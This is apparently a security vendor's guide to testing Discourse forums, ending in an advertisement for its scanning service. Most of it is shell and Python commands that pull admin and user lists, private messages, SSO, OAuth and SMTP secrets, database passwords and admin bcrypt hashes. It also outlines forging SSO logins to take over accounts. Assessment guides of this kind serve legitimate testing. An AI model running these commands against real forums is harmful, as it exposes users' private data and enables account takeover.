Discourse Security Testing: API Key, Admin Credentials, User Enumeration, and Database

Discourse is the most widely deployed open-source community forum platform, used by thousands of software projects, enterprises, and communities for public and private discussion. Its extensive REST API, admin email disclosure in /about.json, and SSO integration make it a rich target for security assessment. Key assessment areas: the /about.json endpoint exposes admin email addresses without authentication; Discourse API keys provide full access to all posts, private messages, user details, and admin functions; discourse.conf stores the PostgreSQL database password and Redis connection string; the users table contains bcrypt password hashes; and Discourse's SSO implementation can be bypassed if the sso_secret is weak or discoverable. This guide covers systematic Discourse security assessment.

Table of Contents

  1. Unauthenticated Information Disclosure
  2. API Key Access and Admin User Enumeration
  3. Configuration Credentials and Database Access
  4. Discourse Security Hardening

Unauthenticated Information Disclosure

# Discourse — unauthenticated information disclosure
DISCOURSE_URL="https://discourse.example.com"

# /about.json — exposes admin email addresses and statistics without auth
curl -s "${DISCOURSE_URL}/about.json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
about = d.get('about',{})
admins = about.get('admins',[])
mods = about.get('moderators',[])
print('Admin accounts:')
for a in admins:
    print(f'  {a.get(\"username\")} ({a.get(\"name\")})')
print(f'Moderators: {[m.get(\"username\") for m in mods]}')
print(f'Description: {about.get(\"description\",\"\")[:100]}')
stats = about.get('stats',{})
print(f'Users: {stats.get(\"users_count\")} topics={stats.get(\"topic_count\")} posts={stats.get(\"post_count\")}')
" 2>/dev/null

# Public user profiles — username enumeration via /u/ endpoint
USERNAME="admin"
curl -s "${DISCOURSE_URL}/u/${USERNAME}.json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
user = d.get('user',{})
if user:
    print(f'User: {user.get(\"username\")} ({user.get(\"name\")})')
    print(f'Email: {user.get(\"email\",\"(hidden)\")}')
    print(f'Created: {user.get(\"created_at\")} last_seen={user.get(\"last_seen_at\")}')
    print(f'Admin: {user.get(\"admin\")} moderator={user.get(\"moderator\")}')
else:
    print('User not found')
" 2>/dev/null

# Check if site is in login_required mode
curl -s -o /dev/null -w "%{http_code}" "${DISCOURSE_URL}/latest.json" 2>/dev/null
# 200 = public access, 302/403 = login required

API Key Access and Admin User Enumeration

# Discourse API key authentication and admin data access
DISCOURSE_URL="https://discourse.example.com"
API_KEY="your-discourse-api-key"
API_USERNAME="system"  # Use 'system' for system-level API key or admin username

# List all users — requires admin API key
curl -s "${DISCOURSE_URL}/admin/users/list/active.json?page=0&per_page=100" \
  -H "Api-Key: ${API_KEY}" \
  -H "Api-Username: ${API_USERNAME}" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Active users: {len(users)}')
for u in users[:20]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} email={u.get(\"email\")}')
    print(f'    Admin: {u.get(\"admin\")} trust_level={u.get(\"trust_level\")} last_seen={u.get(\"last_seen_at\")}')
    print(f'    IP: {u.get(\"ip_address\")} registration_ip={u.get(\"registration_ip_address\")}')
" 2>/dev/null

# Read all private messages — requires admin API key
curl -s "${DISCOURSE_URL}/topics/private-messages/admin.json" \
  -H "Api-Key: ${API_KEY}" \
  -H "Api-Username: ${API_USERNAME}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
topics = d.get('topic_list',{}).get('topics',[])
print(f'Private message threads: {len(topics)}')
for t in topics[:10]:
    print(f'  [{t.get(\"id\")}] {t.get(\"title\")} by={t.get(\"last_poster_username\")}')
" 2>/dev/null

# Site settings via API — includes SSO secret and integration tokens
curl -s "${DISCOURSE_URL}/admin/site_settings.json" \
  -H "Api-Key: ${API_KEY}" \
  -H "Api-Username: ${API_USERNAME}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
settings = d.get('site_settings',[])
sensitive = ['sso_secret','discourse_connect_secret','google_oauth2_client_secret',
             'github_client_secret','smtp_password','s3_secret_access_key']
for s in settings:
    if s.get('setting') in sensitive:
        print(f'{s.get(\"setting\")}: {s.get(\"value\")}')
" 2>/dev/null

Configuration Credentials and Database Access

# Discourse discourse.conf and database credential extraction

# discourse.conf — PostgreSQL and Redis credentials
grep -E "db_password|db_username|db_host|redis_password|secret_key_base" \
  /var/discourse/containers/app.yml 2>/dev/null
# db_password — PostgreSQL database password
# redis_password — Redis server password
# secret_key_base — Rails secret key for session signing and encryption

# Or in production via docker
docker exec app grep -E "DISCOURSE_DB_PASSWORD|DISCOURSE_REDIS_PASSWORD" \
  /etc/discourse.conf 2>/dev/null 2>/dev/null

# PostgreSQL access — user data including bcrypt hashes
PGPASSWORD="db_password" psql -U discourse -h localhost discourse 2>/dev/null << 'EOF'
SELECT id, username, email, password_hash, salt,
       admin, moderator, trust_level, last_seen_at, ip_address
FROM users
WHERE admin = true
LIMIT 20;
EOF
# password_hash — bcrypt password hash (cost factor 12+ on modern Discourse)

# SSO secret from database settings — enables DiscourseSSO bypass
PGPASSWORD="db_password" psql -U discourse -h localhost discourse 2>/dev/null << 'EOF'
SELECT name, value FROM site_settings
WHERE name IN ('sso_secret', 'discourse_connect_secret',
               'smtp_password', 'google_oauth2_client_secret',
               'github_client_secret', 's3_secret_access_key');
EOF

Discourse Security Hardening

Discourse Security Hardening Checklist:
Security TestMethodRisk
Admin email disclosure via /about.jsonGET /about.json without authentication — returns admin and moderator usernames, names, and avatars; enables identification of admin accounts for targeted credential attacks and social engineeringMedium
Admin user enumeration and email extraction via APIGET /admin/users/list with API key — returns all user accounts with email addresses, registration IPs, last seen IPs, admin/moderator status, and trust levelsCritical
Private message content access via admin APIGET /topics/private-messages with admin API key — returns all private message threads for any user; private PMs between users and admin are fully readableCritical
SSO secret extraction enabling account takeoverRead site_settings table — sso_secret/discourse_connect_secret; craft HMAC-signed SSO payload for any user account; enables admin account takeover via DiscourseConnect bypassCritical
app.yml credential extractionRead /var/discourse/containers/app.yml — db_password, redis_password, smtp_password, secret_key_base; secrets enable database access, session forgery, email spoofingCritical

Automate Discourse Security Testing

Ironimo tests Discourse deployments for unauthenticated admin disclosure via /about.json, API key user and private message enumeration, SSO secret extraction for DiscourseConnect bypass, app.yml credential access, secret_key_base session forgery testing, user enumeration via /u/ endpoint, plugin security assessment, login_required bypass testing, and bcrypt hash extraction from the users table.

Start free scan